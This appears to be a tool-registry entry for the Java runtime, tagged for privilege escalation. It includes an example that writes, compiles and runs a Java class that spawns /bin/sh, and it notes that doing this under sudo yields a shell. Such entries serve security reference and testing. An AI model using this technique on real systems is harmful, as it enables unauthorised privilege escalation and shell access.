runtime enabled community medium v1.0.0

java

Java runtime that can execute compiled Java class files to spawn shells.

📋 Live Preview
java {0}
📎 0
java {0}

Sandbox: execFile · Timeout: 30s

Capabilities

security.privilege-escalation.shell
security.execution.command
runtime.java.execute

Contract

Inputs

system.file.path

Path to Java class file

Outputs

process.output

Shell output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Consumes

system.file.path

Resource Profile

ResourceValue
CPUhigh
Memory64 MB
Networklow
Disk I/Olow

Examples

Spawn interactive shell via compiled Java class

cat >Shell.java <<EOF
public class Shell {
    public static void main(String[] args) throws Exception {
        new ProcessBuilder("/bin/sh").inheritIO().start().waitFor();
    }
}
EOF
javac Shell.java
java Shell

Documentation

java — Java Runtime

java executes compiled Java class files. With sudo, it can spawn a shell by uploading and running a compiled class file that executes /bin/sh.

Related Tools

javacjshell

References